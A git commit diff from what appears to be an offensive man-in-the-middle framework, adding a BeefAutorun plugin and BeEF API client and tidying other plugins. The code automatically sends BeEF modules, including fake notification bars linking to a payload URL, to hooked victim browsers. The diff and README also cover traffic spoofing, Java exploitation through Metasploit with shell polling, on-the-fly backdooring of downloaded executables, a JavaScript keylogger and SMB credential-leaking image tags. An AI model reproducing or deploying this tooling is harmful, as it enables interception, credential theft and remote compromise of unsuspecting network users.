code cleanup on all plugins, disabled annoying "Starting new HTTP Connection" log message, added BeefAutorun plugin and beefapi lib

This commit is contained in:
byt3bl33d3r 2014-08-14 11:30:44 +02:00
parent e7cc6316f1
commit 73e7ca2f3d
17 changed files with 409 additions and 240 deletions

1
.gitignore vendored
View file

@ -1,4 +1,3 @@
*.pyc *.pyc
/plugins/old_plugins/ /plugins/old_plugins/
backdoored/ backdoored/
bdfactory/

View file

@ -9,6 +9,7 @@ This tool is completely based on sergio-proxy https://code.google.com/p/sergio-p
Availible plugins: Availible plugins:
- Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects - Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects
- BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type
- AppCachePoison - Perform app cache poison attacks - AppCachePoison - Perform app cache poison attacks
- BrowserProfiler - Attempts to enumerate all browser plugins of connected clients - BrowserProfiler - Attempts to enumerate all browser plugins of connected clients
- CacheKill - Kills page caching by modifying headers - CacheKill - Kills page caching by modifying headers
@ -22,7 +23,7 @@ Availible plugins:
So far the most significant changes have been: So far the most significant changes have been:
- Spoof plugin is live !! Supports ICMP, ARP and DNS spoofing - Spoof plugin now supports ICMP, ARP and DNS spoofing
(DNS Spoofing code was stolen from https://github.com/DanMcInerney/dnsspoof/) (DNS Spoofing code was stolen from https://github.com/DanMcInerney/dnsspoof/)
- Usage of third party tools has been completely removed (e.g. ettercap) - Usage of third party tools has been completely removed (e.g. ettercap)
@ -31,13 +32,17 @@ So far the most significant changes have been:
- Addition of the JsKeylogger plugin - Addition of the JsKeylogger plugin
- Addition of the BeefAutorun plugin
- FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory - FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory
https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy
- Added msfrpc.py for interfacing with Metasploits rpc server - Added msfrpc.py for interfacing with Metasploits rpc server
- Added beefapi.py for interfacing with BeEF's RESTfulAPI
- Added Replace plugin - Added Replace plugin
- Addition of the app-cache poisoning attack by Krzysztof Kotowicz - Addition of the app-cache poisoning attack by Krzysztof Kotowicz
- JavaPwn plugin now live! Auto-detect and exploit clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!! - JavaPwn plugin auto-detects and exploits clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!!

View file

@ -0,0 +1,31 @@
#Example config file for the BeefAutorun plugin
mode = oneshot #can be set to loop, or oneshot
#in loop mode the plugin will run modules on all hooked browsers every 10 seconds
#in oneshot mode the plugin will run modules only once per hooked browser
[ALL] #Runs specified modules on all hooked browsers
'Man-In-The-Browser'= '{}'
[targets] #Runs specified modules based on OS and Browser type
[[Windows]] #Target all Windows versions using Firefox and Internet Explorer
[[[FF]]]
'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}'
[[[IE]]]
'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}'
[[Windows 7]] #Target only Windows 7 using Chrome
[[[C]]]
'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}'
[[Linux]] #Target Linux platforms using Chrome
[[[C]]]
'Redirect Browser (Rickroll)' = '{}'

View file

@ -2,9 +2,7 @@
import requests import requests
import json import json
from random import sample from random import sample
from time import sleep
from string import lowercase, digits from string import lowercase, digits
from unicodedata import normalize
class BeefAPI: class BeefAPI:
@ -51,9 +49,9 @@ class BeefAPI:
return self.get_sessions("offline", "ip") return self.get_sessions("offline", "ip")
def get_sessions(self, state, value): def get_sessions(self, state, value):
r = requests.get(self.hookurl).json()
hooks = [] hooks = []
try: try:
r = requests.get(self.hookurl + self.token).json()
for v in r["hooked-browsers"][state].items(): for v in r["hooked-browsers"][state].items():
hooks.append(str(v[1][value])) hooks.append(str(v[1][value]))
return hooks return hooks
@ -61,72 +59,72 @@ class BeefAPI:
print "beefapi ERROR: %s" % e print "beefapi ERROR: %s" % e
def getModid(self, name): #Returns module id def getModid(self, name): #Returns module id
url = self.url + "%s" % (self.token) url = self.mod_url + self.token
r = requests.get(url).json()
try: try:
r = requests.get(url).json()
for v in r.values(): for v in r.values():
if v["name"] == name: if v["name"] == name:
return v["id"] return v["id"]
except KeyError: except Exception, e:
print "beefapi ERROR: module '" + name + "' not found!" print "beefapi ERROR: %s" % e
return None
def getModname(self, id): #Returns module name def getModname(self, id): #Returns module name
url = self.url + "modules?token=%s" % (self.token) url = self.mod_url + self.token
r = requests.get(url).json()
try: try:
r = requests.get(url).json()
for v in r.values(): for v in r.values():
if v["id"] == id: if v["id"] == id:
return v["name"] return v["name"]
except KeyError: except Exception, e:
print "beefapi ERROR: module '" + id + "' not found!" print "beefapi ERROR: %s" % e
return None
def host2session(self, ip): #IP => Session def host2session(self, ip): #IP => Session
url = self.url + "hooks?token=%s" % (self.token) url = self.hookurl + self.token
r = requests.get(url).json()
try: try:
r = requests.get(url).json()
for v in r["hooked-browsers"]["online"].items(): for v in r["hooked-browsers"]["online"].items():
if v[1]["ip"] == ip: if v[1]["ip"] == ip:
return v[1]["session"] return v[1]["session"]
else: else:
session = None session = None
if session == None: if session is None:
for v in r["hooked-browsers"]["offline"].items(): for v in r["hooked-browsers"]["offline"].items():
if v[1]["ip"] == ip: if v[1]["ip"] == ip:
return v[1]["session"] return v[1]["session"]
else: else:
return None return None
except KeyError: except Exception, e:
pass print "beefapi ERROR: %s" % e
def session2host(self, session): #Session => IP def session2host(self, session): #Session => IP
url = self.url + "hooks?token=%s" % (self.token) url = self.hookurl + self.token
r = requests.get(url).json()
try: try:
r = requests.get(url).json()
for v in r["hooked-browsers"]["online"].items(): for v in r["hooked-browsers"]["online"].items():
if v[1]["session"] == session: if v[1]["session"] == session:
return v[1]["ip"] return v[1]["ip"]
else: else:
ip = None ip = None
if ip == None: if ip is None:
for v in r["hooked-browsers"]["offline"].items(): for v in r["hooked-browsers"]["offline"].items():
if v[1]["session"] == session: if v[1]["session"] == session:
return v[1]["ip"] return v[1]["ip"]
else: else:
return None return None
except KeyError: except Exception, e:
pass print "beefapi ERROR: %s" % e
def runModule(self, session, mod_id, options={}): #Executes a module on a specified session def runModule(self, session, mod_id, options={}): #Executes a module on a specified session
try:
headers = {"Content-Type": "application/json", "charset": "UTF-8"} headers = {"Content-Type": "application/json", "charset": "UTF-8"}
payload = json.dumps(options) payload = json.dumps(options)
url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token) url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token)
return requests.post(url, headers=headers, data=payload).json() return requests.post(url, headers=headers, data=payload).json()
except Exception, e:
print "beefapi ERROR: %s" % e
def moduleResult(self, session, mod_id, cmd_id): def moduleResult(self, session, mod_id, cmd_id):
url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token) url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token)

View file

@ -1,6 +1,7 @@
from plugins.plugin import Plugin from plugins.plugin import Plugin
from sslstrip.ResponseTampererFactory import ResponseTampererFactory from sslstrip.ResponseTampererFactory import ResponseTampererFactory
import threading #import threading
class AppCachePlugin(Plugin): class AppCachePlugin(Plugin):
name = "App Cache Poison" name = "App Cache Poison"
@ -13,7 +14,7 @@ class AppCachePlugin(Plugin):
self.options = options self.options = options
self.config_file = options.tampercfg self.config_file = options.tampercfg
if self.config_file == None: if self.config_file is None:
self.config_file = "./config_files/app_cache_poison.cfg" self.config_file = "./config_files/app_cache_poison.cfg"
print "[*] App Cache Poison plugin online" print "[*] App Cache Poison plugin online"

117
plugins/BeefAutorun.py Normal file
View file

@ -0,0 +1,117 @@
from plugins.plugin import Plugin
from time import sleep
import sys
import json
import threading
import logging
import libs.beefapi as beefapi
try:
from configobj import ConfigObj
except:
sys.exit('[-] configobj library not installed!')
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING)
class BeefAutorun(Plugin):
name = "BeEFAutorun"
optname = "beefauto"
has_opts = True
desc = "Autoruns BeEF modules based on Browser or OS type"
def initialize(self, options):
self.options = options
self.autoruncfg = "./config_files/beefautorun.cfg" or options.autoruncfg
self.beefip = options.beefip
self.beefport = options.beefport
self.beefuser = options.beefuser
self.beefpass = options.beefpass
beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport})
if beef.login(self.beefuser, self.beefpass):
print "[*] Successfully logged in to BeEF"
else:
sys.exit("[-] Error logging in to BeEF!")
userconfig = ConfigObj(self.autoruncfg)
self.Mode = userconfig['mode']
if self.Mode == 'oneshot':
print '[*] Setting mode to oneshot'
elif self.Mode == 'loop':
print '[*] Setting mode to loop'
else:
sys.exit("[-] Error: unrecognized mode set in config file")
self.All_modules = userconfig["ALL"]
self.Targeted_modules = userconfig["targets"]
print "[*] BeEFAutorun plugin online"
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
t.setDaemon(True)
t.start()
def autorun(self, beef):
already_hooked = []
already_ran = []
while True:
sessions = beef.onlineSessions()
if (sessions is not None) and (len(sessions) > 0):
for session in sessions:
session_ip = beef.session2host(session)
if session not in already_hooked:
logging.info("%s >> joined the horde!" % session_ip)
already_hooked.append(session)
if self.Mode == 'oneshot':
if session not in already_ran:
self.execModules(session, session_ip, beef)
already_ran.append(session)
elif self.Mode == 'loop':
self.execModules(session, session_ip, beef)
sleep(10)
else:
sleep(1)
def execModules(self, session, session_ip, beef):
session_browser = beef.sessionInfo(session)["BrowserName"]
session_os = beef.sessionInfo(session)["OsName"]
if len(self.All_modules) > 0:
logging.info("%s >> sending generic modules" % session_ip)
for module, options in self.All_modules.items():
mod_id = beef.getModid(module)
resp = beef.runModule(session, mod_id, json.loads(options))
if resp["success"] == 'true':
logging.info('%s >> sent module %s' % (session_ip, mod_id))
else:
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
sleep(0.5)
logging.info("%s >> sending targeted modules" % session_ip)
for os in self.Targeted_modules:
if (os in session_os) or (os == session_os):
browsers = self.Targeted_modules[os]
if len(browsers) > 0:
for browser in browsers:
if browser == session_browser:
modules = self.Targeted_modules[os][browser]
if len(modules) > 0:
for module, options in modules.items():
mod_id = beef.getModid(module)
resp = beef.runModule(session, mod_id, json.loads(options))
if resp["success"] == 'true':
logging.info('%s >> sent module %s' % (session_ip, mod_id))
else:
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
sleep(0.5)
def add_options(self, options):
options.add_argument('--beefip', dest='beefip', default='127.0.0.1', help="IP of BeEF's server [default: localhost]")
options.add_argument('--beefport', dest='beefport', default='3000', help="Port of BeEF's server [default: 3000]")
options.add_argument('--beefuser', dest='beefuser', default='beef', help='Username for beef [default: beef]')
options.add_argument('--beefpass', dest='beefpass', default='beef', help='Password for beef [default: beef]')
options.add_argument('--autoruncfg', type=file, help='Specify a config file [default: beefautorun.cfg]')

View file

@ -3,6 +3,7 @@ from plugins.Inject import Inject
from pprint import pformat from pprint import pformat
import logging import logging
class BrowserProfiler(Inject, Plugin): class BrowserProfiler(Inject, Plugin):
name = "Browser Profiler" name = "Browser Profiler"
optname = "browserprofiler" optname = "browserprofiler"

View file

@ -1,5 +1,6 @@
from plugins.plugin import Plugin from plugins.plugin import Plugin
class CacheKill(Plugin): class CacheKill(Plugin):
name = "CacheKill Plugin" name = "CacheKill Plugin"
optname = "cachekill" optname = "cachekill"

View file

@ -2,7 +2,8 @@
# 99.9999999% of this code is stolen from BDFProxy - https://github.com/secretsquirrel/BDFProxy # 99.9999999% of this code is stolen from BDFProxy - https://github.com/secretsquirrel/BDFProxy
################################################################################################# #################################################################################################
import sys, os import sys
import os
import pefile import pefile
import zipfile import zipfile
import logging import logging
@ -18,6 +19,7 @@ try:
except: except:
sys.exit('[-] configobj library not installed!') sys.exit('[-] configobj library not installed!')
class FilePwn(Plugin): class FilePwn(Plugin):
name = "FilePwn" name = "FilePwn"
optname = "filepwn" optname = "filepwn"
@ -36,10 +38,7 @@ class FilePwn(Plugin):
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
self.filepwncfg = options.filepwncfg self.filepwncfg = "./config_files/filepwn.cfg" or options.filepwncfg
if self.filepwncfg == None:
self.filepwncfg = "./config_files/filepwn.cfg"
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload',
'application/x-msdos-program', 'binary/octet-stream'] 'application/x-msdos-program', 'binary/octet-stream']

View file

@ -1,8 +1,13 @@
import os,subprocess,logging,time,re #import os
#import subprocess
import logging
import time
import re
import argparse import argparse
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill from plugins.CacheKill import CacheKill
class Inject(CacheKill, Plugin): class Inject(CacheKill, Plugin):
name = "Inject" name = "Inject"
optname = "inject" optname = "inject"
@ -25,7 +30,7 @@ class Inject(CacheKill,Plugin):
self.implements.remove("handleHeader") self.implements.remove("handleHeader")
self.implements.remove("connectionMade") self.implements.remove("connectionMade")
if options.html_file != None: if options.html_file is not None:
self.html_payload += options.html_file.read() self.html_payload += options.html_file.read()
self.ctable = {} self.ctable = {}
@ -34,14 +39,12 @@ class Inject(CacheKill,Plugin):
self.mime = "text/html" self.mime = "text/html"
print "[*] Inject plugin online" print "[*] Inject plugin online"
def handleResponse(self, request, data): def handleResponse(self, request, data):
#We throttle to only inject once every two seconds per client #We throttle to only inject once every two seconds per client
#If you have MSF on another host, you may need to check prior to injection #If you have MSF on another host, you may need to check prior to injection
#print "http://" + request.client.getRequestHostname() + request.uri #print "http://" + request.client.getRequestHostname() + request.uri
ip, hn, mime = self._get_req_info(request) ip, hn, mime = self._get_req_info(request)
if self._should_inject(ip,hn,mime) and \ if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""):
(not self.js_src==self.html_src==None or not self.html_payload==""):
data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
self.ctable[ip] = time.time() self.ctable[ip] = time.time()
@ -67,14 +70,17 @@ class Inject(CacheKill,Plugin):
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
def _should_inject(self, ip, hn, mime): def _should_inject(self, ip, hn, mime):
if self.count_limit==self.rate_limit==None and not self.per_domain: if self.count_limit == self.rate_limit is None and not self.per_domain:
return True return True
if self.count_limit != None and self.count > self.count_limit:
if self.count_limit is not None and self.count > self.count_limit:
#print "1" #print "1"
return False return False
if self.rate_limit != None:
if self.rate_limit is not None:
if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit: if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit:
return False return False
if self.per_domain: if self.per_domain:
return not ip+hn in self.dtable return not ip+hn in self.dtable
#print mime #print mime
@ -87,12 +93,12 @@ class Inject(CacheKill,Plugin):
return (ip, hn, mime) return (ip, hn, mime)
def _get_iframe(self): def _get_iframe(self):
if self.html_src != None: if self.html_src is not None:
return '<iframe src="%s" height=0%% width=0%%></iframe>' % (self.html_src) return '<iframe src="%s" height=0%% width=0%%></iframe>' % (self.html_src)
return '' return ''
def _get_js(self): def _get_js(self):
if self.js_src != None: if self.js_src is not None:
return '<script type="text/javascript" src="%s"></script>' % (self.js_src) return '<script type="text/javascript" src="%s"></script>' % (self.js_src)
return '' return ''
@ -112,6 +118,8 @@ class Inject(CacheKill,Plugin):
for i, r in enumerate(pre_regexes): for i, r in enumerate(pre_regexes):
data = re.sub(r, "\g<match>"+pre[i][1], data) data = re.sub(r, "\g<match>"+pre[i][1], data)
for i, r in enumerate(post_regexes): for i, r in enumerate(post_regexes):
data = re.sub(r, post[i][1]+"\g<match>", data) data = re.sub(r, post[i][1]+"\g<match>", data)
return data return data

View file

@ -6,13 +6,17 @@ import string
import random import random
import threading import threading
import logging import logging
import sys, os import sys
try: try:
from configobj import ConfigObj from configobj import ConfigObj
except: except:
sys.exit('[-] configobj library not installed!') sys.exit('[-] configobj library not installed!')
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING)
class JavaPwn(BrowserProfiler, Plugin): class JavaPwn(BrowserProfiler, Plugin):
name = "JavaPwn" name = "JavaPwn"
optname = "javapwn" optname = "javapwn"
@ -26,28 +30,24 @@ class JavaPwn(BrowserProfiler, Plugin):
self.msfport = options.msfport self.msfport = options.msfport
self.rpcip = options.rpcip self.rpcip = options.rpcip
self.rpcpass = options.rpcpass self.rpcpass = options.rpcpass
self.javapwncfg = options.javapwncfg self.javapwncfg = './config_files/javapwn.cfg' or options.javapwncfg
if not self.msfip: if not self.msfip:
sys.exit('[-] JavaPwn plugin requires --msfip') sys.exit('[-] JavaPwn plugin requires --msfip')
if not self.javapwncfg:
self.javapwncfg = './config_files/javapwn.cfg'
self.javacfg = ConfigObj(self.javapwncfg) self.javacfg = ConfigObj(self.javapwncfg)
self.javaVersionDic = {} self.javaVersionDic = {}
for key, value in self.javacfg.iteritems(): for key, value in self.javacfg.iteritems():
self.javaVersionDic[float(key)] = value self.javaVersionDic[float(key)] = value
self.sploited_ips = [] #store ip of pwned or not vulnarable clients so we don't re-exploit self.sploited_ips = [] #store ip of pwned or not vulnarable clients so we don't re-exploit
try: try:
msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
msf.login('msf', self.rpcpass) msf.login('msf', self.rpcpass)
version = msf.call('core.version')['version'] version = msf.call('core.version')['version']
print "[*] Succesfully connected to Metasploit v%s" % version print "[*] Successfully connected to Metasploit v%s" % version
except Exception: except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
@ -76,7 +76,7 @@ class JavaPwn(BrowserProfiler, Plugin):
exit = False exit = False
i = 1 i = 1
while i <= 30: #wait max 60 seconds for a new shell while i <= 30: #wait max 60 seconds for a new shell
if exit == True: if exit:
break break
shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
if len(shell) > 0: if len(shell) > 0:
@ -89,10 +89,9 @@ class JavaPwn(BrowserProfiler, Plugin):
sleep(2) sleep(2)
i += 1 i += 1
if exit == False: #We didn't get a shell if exit is False: #We didn't get a shell
logging.info("%s >> session not established after 30 seconds" % client_ip) logging.info("%s >> session not established after 30 seconds" % client_ip)
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
def pwn(self, msfinstance): def pwn(self, msfinstance):
@ -175,7 +174,7 @@ class JavaPwn(BrowserProfiler, Plugin):
options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]') options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]') options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]')
options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]') options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]')
options.add_argument('--javapwncfg', type=file, help='Specify a config file') options.add_argument('--javapwncfg', type=file, help='Specify a config file [default: javapwn.cfg]')
def finish(self): def finish(self):
'''This will be called when shutting down''' '''This will be called when shutting down'''

View file

@ -2,6 +2,7 @@ from plugins.plugin import Plugin
from plugins.Inject import Inject from plugins.Inject import Inject
import logging import logging
class jskeylogger(Inject, Plugin): class jskeylogger(Inject, Plugin):
name = "Javascript Keylogger" name = "Javascript Keylogger"
optname = "jskeylogger" optname = "jskeylogger"

View file

@ -1,8 +1,13 @@
import os,subprocess,logging,time,re #import os
import argparse #import subprocess
import sys
import logging
import time
import re
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill from plugins.CacheKill import CacheKill
class Replace(CacheKill, Plugin): class Replace(CacheKill, Plugin):
name = "Replace" name = "Replace"
optname = "replace" optname = "replace"
@ -17,7 +22,7 @@ class Replace(CacheKill,Plugin):
self.replace_str = options.replace_str self.replace_str = options.replace_str
self.regex_file = options.regex_file self.regex_file = options.regex_file
if (self.search_str==None or self.search_str=="") and self.regex_file is None: if (self.search_str is None or self.search_str == "") and self.regex_file is None:
sys.exit("[*] Please provide a search string or a regex file") sys.exit("[*] Please provide a search string or a regex file")
self.regexes = [] self.regexes = []
@ -41,18 +46,17 @@ class Replace(CacheKill,Plugin):
if self._should_replace(ip, hn, mime): if self._should_replace(ip, hn, mime):
if self.search_str!=None and self.search_str!="": if self.search_str is not None and self.search_str != "":
data = data.replace(self.search_str, self.replace_str) data = data.replace(self.search_str, self.replace_str)
logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str)) logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
# Did the user provide us with a regex file? # Did the user provide us with a regex file?
for regex in self.regexes: for regex in self.regexes:
try: try:
data = re.sub(regex[0], regex[1], data) data = re.sub(regex[0], regex[1], data)
logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
except Exception, e: except Exception:
logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
self.ctable[ip] = time.time() self.ctable[ip] = time.time()

View file

@ -1,6 +1,7 @@
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.Inject import Inject from plugins.Inject import Inject
class SMBAuth(Inject, Plugin): class SMBAuth(Inject, Plugin):
name = "SMBAuth" name = "SMBAuth"
optname = "smbauth" optname = "smbauth"
@ -18,5 +19,4 @@ class SMBAuth(Inject,Plugin):
def _get_data(self): def _get_data(self):
return '<img src=\"\\\\%s\\image.jpg\">'\ return '<img src=\"\\\\%s\\image.jpg\">'\
'<img src=\"file://///%s\\image.jpg\">'\ '<img src=\"file://///%s\\image.jpg\">'\
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">'\ '<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.target_ip]*3)
% tuple([self.target_ip]*3)

View file

@ -1,6 +1,8 @@
import logging import logging
from cStringIO import StringIO from cStringIO import StringIO
from plugins.plugin import Plugin from plugins.plugin import Plugin
from PIL import Image
class Upsidedownternet(Plugin): class Upsidedownternet(Plugin):
name = "Upsidedownternet" name = "Upsidedownternet"
@ -33,7 +35,7 @@ class Upsidedownternet(Plugin):
image_type = request.imageType image_type = request.imageType
#For some reason more images get parsed using the parser #For some reason more images get parsed using the parser
#rather than a file...PIL still needs some work I guess #rather than a file...PIL still needs some work I guess
p = ImageFile.Parser() p = Image.Parser()
p.feed(data) p.feed(data)
im = p.close() im = p.close()
im = im.transpose(Image.ROTATE_180) im = im.transpose(Image.ROTATE_180)

View file

@ -3,15 +3,18 @@ The base plugin class. This shows the various methods that
can get called during the MITM attack. can get called during the MITM attack.
''' '''
class Plugin(object): class Plugin(object):
name = "Generic plugin" name = "Generic plugin"
optname = "generic" optname = "generic"
desc = "" desc = ""
implements = [] implements = []
has_opts = False has_opts = False
def __init__(self): def __init__(self):
'''Called on plugin instantiation. Probably don't need this''' '''Called on plugin instantiation. Probably don't need this'''
pass pass
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options